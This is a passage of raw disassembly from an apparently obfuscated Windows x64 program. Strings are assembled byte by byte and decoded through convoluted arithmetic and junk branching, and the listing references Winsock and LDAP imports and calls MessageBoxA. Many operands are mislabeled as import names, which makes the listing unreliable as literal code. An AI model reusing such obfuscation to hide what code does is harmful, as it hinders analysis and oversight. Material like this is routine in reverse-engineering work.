mov byte [rbp + 0x8b1], gethostname
mov byte [rbp + 0x8b2], 4
mov byte [rbp + 0x8b3], 0x5b
mov byte [rbp + 0x8b4], 0x46
mov byte [rbp + 0x8b5], 0x42
mov byte [rbp + 0x8b6], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x8b7], 0x7a
mov byte [rbp + 0x8b8], 0x45
mov byte [rbp + 0x8b9], reloc.WS2_32.dll_listen
mov byte [rbp + 0x8ba], 0x77
mov byte [rbp + 0x8bb], 0x46
mov byte [rbp + 0x8bc], 0x79
mov byte [rbp + 0x8bd], Ordinal_50
mov byte [rbp + 0x8be], 0x77
mov byte [rbp + 0x8bf], 0x45
mov byte [rbp + 0x8c0], gethostname
mov byte [rbp + 0x8c1], WSACleanup
mov byte [rbp + 0x8c2], 0x78
mov byte [rbp + 0x8c3], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x8c4], WSACleanup
mov byte [rbp + 0x8c5], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x8c6], Ordinal_79
mov byte [rbp + 0x8c7], 0x78
mov byte [rbp + 0x8c8], Ordinal_79
mov byte [rbp + 0x8c9], 0x76
mov byte [rbp + 0x8ca], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x8cb], 0x64
mov byte [rbp + 0x8cc], 0x67
mov byte [rbp + 0x8cd], 0x64
mov byte [rbp + 0x8ce], 0x51
mov byte [rbp + 0x8cf], 0x5c
mov byte [rbp + 0x8d0], 0x54
mov byte [rbp + 0x8d1], 0x51
mov byte [rbp + 0x8d2], Ordinal_41
mov byte [rbp + 0x8d3], 0x5a
mov byte [rbp + 0x8d4], 0x5c
mov byte [rbp + 0x8d5], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x8d6], 0x58
mov byte [rbp + 0x8d7], 0x59
mov byte [rbp + 0x8d8], 0x5f
mov byte [rbp + 0x8d9], 0x68
mov byte [rbp + 0x8da], 0x67
mov byte [rbp + 0x8db], Ordinal_30
mov byte [rbp + 0x8dc], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x8dd], 0x51
mov byte [rbp + 0x8de], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x8df], Ordinal_30
mov byte [rbp + 0x8e0], Ordinal_35
mov byte [rbp + 0x8e1], Ordinal_30
mov byte [rbp + 0x8e2], 0x54
mov byte [rbp + 0x8e3], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x8e4], Ordinal_30
mov byte [rbp + 0x8e5], Ordinal_35
mov byte [rbp + 0x8e6], Ordinal_45
mov byte [rbp + 0x8e7], reloc.WS2_32.dll_recv
mov byte [rbp + 0x8e8], Ordinal_50
mov byte [rbp + 0x8e9], Ordinal_50
mov byte [rbp + 0x8ea], 0x5b
mov byte [rbp + 0x8eb], 0xa3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8ec], xmm0
mov dword [rbp + 0x8fc], eax
mov word [rbp + 0x900], ax
mov byte [rbp + 0x902], al
movabs r14, 0x10336c7aba5fb435
movabs r15, 0x91ced0508d5d55dd
movabs r13, 0x7167f75b189ded73
movabs r12, 0x309a45702f1f1c9f
movzx r11d, byte [rsp + 0x30]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
cmp rdi, 0xb3
jae 0x1400ba3a2
movzx ebx, byte [rbp + rdi + 0x850]
mov edx, ebx
nop dword [rax]
cmp r8, rdi
ja 0x1400ba399
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b987c
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
sub r11b, 0x73
jmp 0x1400b98c2
je 0x1400ba330
inc rax
cmp r8, rax
je 0x1400ba2ae
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400ba283
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400ba244
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400ba222
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400ba1dd
movzx r10d, dil
cmp r9, rdi
ja 0x1400ba390
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1400b98ef
lea ecx, [r10 + 0x59]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6f
jmp 0x1400b9923
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400ba1c6
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400ba1a4
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400ba18a
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400ba15d
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400b9e92
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400b9e78
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b9e53
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400b9e31
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b9e17
lea rcx, [r9 + 0x80]
cmp r8, rcx
je 0x1400b9df8
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b9dd8
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400b9db9
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b9d99
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400b9d68
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400b9930
mov r8, rcx
lea r9, [rcx + 0x7a]
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x1400ba374
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x1400ba358
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x1400b9b16
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x1400b9afc
lea rcx, [r9 + 1]
cmp r8, rcx
jb 0x1400b9ae2
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400b9d1e
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400b9cc1
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400b9c87
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400b9c60
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400b9930
mov r8, rcx
lea r9, [rcx + 8]
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x1400b9c33
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x1400b9c17
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x1400b9bfd
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x1400b9bdd
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x1400b9bba
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x1400b9b9b
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x1400b9b75
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x1400b9b4c
lea rax, [r9 + 0x3e8]
cmp rcx, rax
ja 0x1400b9b32
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x1400b9930
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x200]
jmp 0x1400b9930
lea ecx, [r10 - 0x39]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x71
jmp 0x1400b9923
lea ecx, [r10 + 0x5d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x75
jmp 0x1400b98c6
sub r10b, 0xd
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x5b
jmp 0x1400b9850
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x1400ba1f6
add r10b, 0x5e
movzx eax, r10b
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400b9832
sub r10b, 0xc
movzx eax, r10b
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x1400b9832
lea edx, [r10 - 0x76]
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400ba25d
add r10b, 0x20
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
add r8, r9
jmp 0x1400ba295
sub r10b, 0x4a
movzx eax, r10b
and al, bl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400ba295
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
jmp 0x1400ba2c4
sub r10b, 0x1e
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x2e
jmp 0x1400ba2ee
add r10b, 0x78
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x48
movzx eax, byte [rbp + rdi + 0x850]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b9832
add r10b, 0x6f
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 9
mov byte [rbp + rdi + 0x850], r11b
inc rdi
jmp 0x1400b9832
lea ecx, [r10 + 5]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x23
cmp r9, 0x20
jb 0x1400b9c77
lea ecx, [r10 + 0x1e]
movzx eax, cl
and al, bl
mov edx, reloc.WS2_32.dll_socket
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x1400ba1f6
lea ecx, [r10 - 0x65]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3d
cmp r8, 1
jae 0x1400ba124
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ba0ae
add r10b, 0x64
movzx eax, r10b
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi + 0x850]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b9832
lea ecx, [r10 + 0x31]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x57
lea rax, [r9 + r8]
cmp rax, 8
je 0x1400ba141
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400b9fb4
lea ecx, [r10 - 0x5f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x67
jmp 0x1400b9cd6
add r10b, 0x16
movzx eax, r10b
and al, bl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi + 0x850]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b9832
sub r10b, 0x54
movzx eax, r10b
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400ba2ee
lea edx, [r10 + 0x42]
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400ba2c4
sub r10b, 0x28
movzx eax, r10b
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400ba295
add r10b, 0x6e
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 2
add r8, r9
jmp 0x1400ba295
lea ecx, [r10 + 4]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x1400ba25d
sub r10b, 0x66
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x36
dec rdi
inc rdi
jmp 0x1400b9832
add r10b, 0x30
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x50
inc r9
dec rdi
inc rdi
jmp 0x1400b9832
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6a
jmp 0x1400ba1f6
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400b9eb5
lea ecx, [r10 + 0x35]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x73
jmp 0x1400b9d33
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b9eef
sub r10b, 0x4e
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi + 0x850]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b9832
inc rax
cmp r8, rax
jne 0x1400b9f17
sub r10b, 0x10
movzx eax, r10b
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400ba295
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b9f3f
add r10b, 0x5a
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x76
add r8, r9
jmp 0x1400ba295
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b9f62
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x1400ba25d
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b9f8d
add r10b, 0x2e
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x42
dec rdi
inc rdi
jmp 0x1400b9832
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b9d33
lea ecx, [r10 + 2]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
jmp 0x1400ba1f6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b9fd7
lea ecx, [r10 + 0xb]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4d
jmp 0x1400ba1f6
inc rax
cmp r8, rax
jne 0x1400ba004
add r10b, 0x75
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x33
inc r9
dec rdi
inc rdi
jmp 0x1400b9832
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400ba02c
sub r10b, 0x4d
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x1b
add r8, r9
jmp 0x1400ba295
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ba051
add r10b, 0x1d
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x35
jmp 0x1400ba295
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400ba074
lea ecx, [r10 - 0x79]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x4f
jmp 0x1400ba2c4
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400b9cd6
add r10b, 0x5b
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x7d
movzx eax, byte [rbp + rdi + 0x850]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b9832
inc rax
cmp r8, rax
jne 0x1400ba0d5
lea edx, [r10 + 0x38]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400ba2c4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ba0fd
add r10b, 0xc
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x54
add r8, r9
jmp 0x1400ba295
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b9c9c
lea ecx, [r10 + 0x76]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3a
jmp 0x1400ba25d
lea edx, [r10 - 0x78]
movzx eax, dl
and al, bl
movzx ecx, bl
sub cl, al
add cl, 0x24
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400ba25d
lea edx, [r10 - 0xe]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400ba2c4
add r10b, 0x13
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x7b
movzx eax, byte [rbp + rdi + 0x850]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b9832
lea ecx, [r10 + 1]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 7
jmp 0x1400ba25d
sub r10b, 0x69
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x21
dec rdi
inc rdi
jmp 0x1400b9832
lea ecx, [r10 - 0x3d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x55
jmp 0x1400ba1f6
movzx r10d, dil
lea ecx, [r10 - 0x11]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x77
add r10b, 0x53
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x45
add r10b, bl
mov byte [rbp + rdi + 0x850], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400b9832
lea ecx, [rdi - 0x7b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x5d
inc r9
dec rdi
inc rdi
jmp 0x1400b9832
movzx r10d, dil
lea ecx, [r10 - 0x4f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x29
sub r10b, 0x43
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x2b
add r10b, bl
add r10b, r11b
mov byte [rbp + rdi + 0x850], r10b
add r8, r9
jmp 0x1400ba295
lea rax, [rdi + r15]
and dl, al
add dl, dl
sub al, dl
lea r11d, [rbx + rax]
sub r11b, 0xb
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400b9832
lea rax, [rdi + r13]
and dl, al
add dl, dl
sub al, dl
lea r11d, [rbx + rax]
sub r11b, 0x25
movzx r10d, dil
add r10b, 0x27
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x11
add r10b, bl
movzx eax, r10b
mov byte [rbp + rdi + 0x850], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x5c]
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x850], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x850]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b9832
lea rax, [rdi + r12]
and dl, al
add dl, dl
sub al, dl
lea r11d, [rbx + rax]
sub r11b, 0x59
movzx eax, byte [rbp + rdi + 0x850]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b9832
sub r10b, 0x77
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x41
jmp 0x1400b9830
add r10b, 0x1f
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x27
jmp 0x1400b9820
lea rdx, [rbp + 0x14d1bec]
jmp 0x1400ba3a9
lea rdx, [rbp + 0x16cd021]
jmp 0x1400ba3a9
lea rdx, [rbp + 0x850]
mov r9d, Ordinal_50
mov r8, rsi
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movabs r12, 0xd06a93c2260daee4
movabs r13, 0xb5fcf9eec7c81bd3
movzx r15d, byte [rsp + 0x30]
movzx r14d, byte [rsp + 0x30]
movzx esi, byte [rsp + 0x30]
nop
mov byte [rbp + 0x348], WSASetLastError
mov byte [rbp + 0x349], Ordinal_79
mov byte [rbp + 0x34a], 0x78
mov byte [rbp + 0x34b], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x34c], 0x43
mov byte [rbp + 0x34d], 0x5d
mov byte [rbp + 0x34e], 0x66
mov byte [rbp + 0x34f], 0x43
mov byte [rbp + 0x350], WSACleanup
mov byte [rbp + 0x351], 0x58
mov byte [rbp + 0x352], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x353], 0x41
mov byte [rbp + 0x354], Ordinal_143
mov byte [rbp + 0x355], 0x50
mov byte [rbp + 0x356], 0x42
mov byte [rbp + 0x357], WSASetLastError
mov byte [rbp + 0x358], 0x9e
mov byte [rbp + 0x359], 0x54
mov byte [rbp + 0x35a], 0x42
mov byte [rbp + 0x35b], 0x56
mov byte [rbp + 0x35c], Ordinal_200
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x35d], xmm0
mov qword [rbp + 0x36d], rax
mov dword [rbp + 0x375], eax
mov word [rbp + 0x379], ax
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x1400bb0d1
movzx r11d, byte [rbp + rdi + 0x348]
mov ebx, r11d
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400bb0c8
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400ba4fc
lea rcx, [rdi + r12]
mov rax, rbx
and rax, rcx
imul r15, rax, 0xfffffffffffffffe
add r15, rbx
add r15, rcx
sub r15b, 0x3c
jmp 0x1400ba543
je 0x1400bb04b
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bafbc
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400baf87
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400baf68
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400baf21
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400baef9
movzx r10d, dil
cmp r9, rdi
ja 0x1400bb0bf
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1400ba576
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r11b
jmp 0x1400ba5c0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400baeb2
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bae95
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bae74
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400bae55
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bae27
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400bab58
nop dword [rax]
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bab3b
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400bab15
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400baaee
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400bac0f
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400baaca
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400baaad
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400baa8d
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400baa6d
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400baa3b
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400ba5d0
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400bb09e
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400bb081
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400ba7c4
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400ba7a5
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400ba785
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400ba9e8
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400ba984
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400ba942
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400ba91a
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400ba5d0
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400ba8e8
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400ba8c8
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400ba8a8
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400ba88b
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400ba86b
lea rcx, [r9 + 3]
cmp r8, rcx
ja 0x1400ba84e
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400ba82b
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400ba801
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400ba7e5
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400ba5d0
mov r8, rcx
lea r9, [rcx + 5]
jmp 0x1400ba5d0
lea edx, [r10 - 0x34]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, dl
jmp 0x1400ba5c0
lea edx, [r10 + 4]
movzx eax, r11b
and al, dl
add al, al
movzx r15d, r11b
sub r15b, al
sub r15b, 0x1c
add r15b, dl
jmp 0x1400ba547
add r10b, 0x3c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, r10b
jmp 0x1400ba4d0
lea edx, [r10 - 0x60]
movzx eax, r11b
and al, dl
add al, al
movzx r15d, r11b
sub r15b, al
sub r15b, 0x60
jmp 0x1400baec9
sub r10b, 0x28
movzx eax, r11b
and al, r10b
mov ecx, recv
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, r10b
inc r9
dec rdi
inc rdi
jmp 0x1400ba4b2
add r10b, 0x10
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r15d, [r10 + r11]
sub r15b, 0x70
dec rdi
inc rdi
jmp 0x1400ba4b2
lea edx, [r10 + 0x48]
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
jmp 0x1400baf3c
add r10b, 0x80
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r15d, [r10 + r11]
add r15b, 0x80
add r8, r9
jmp 0x1400bafa3
sub r10b, 0x48
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r15d, [r10 + r11]
sub r15b, 8
jmp 0x1400bafa3
lea edx, [r10 - 0x10]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, dl
jmp 0x1400bafe0
add r10b, 0x28
movzx eax, r11b
and al, r10b
add al, al
movzx r15d, r11b
sub r15b, al
sub r15b, 0x18
add r15b, r10b
jmp 0x1400bb00b
add r10b, 0x60
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, r10b
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400ba4b2
sub r10b, 0x14
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r15d, [r10 + r11]
sub r15b, 0x74
mov byte [rbp + rdi + 0x348], r15b
inc rdi
jmp 0x1400ba4b2
lea edx, [r10 + 0x24]
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, dl
cmp r9, 8
jb 0x1400ba932
lea edx, [r10 - 0x28]
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r15d, [rcx + rcx]
jmp 0x1400baecc
lea edx, [r10 + 0x5c]
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, dl
cmp r8, 1
jae 0x1400bade8
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400bad44
sub r10b, 0x30
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, r10b
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400ba4b2
lea edx, [r10 - 0x6c]
movzx eax, r11b
and al, dl
add al, al
movzx r15d, r11b
sub r15b, al
sub r15b, 0xc
add r15b, dl
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x1400bae0a
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400bac5f
lea edx, [r10 + 0x54]
movzx eax, r11b
and al, dl
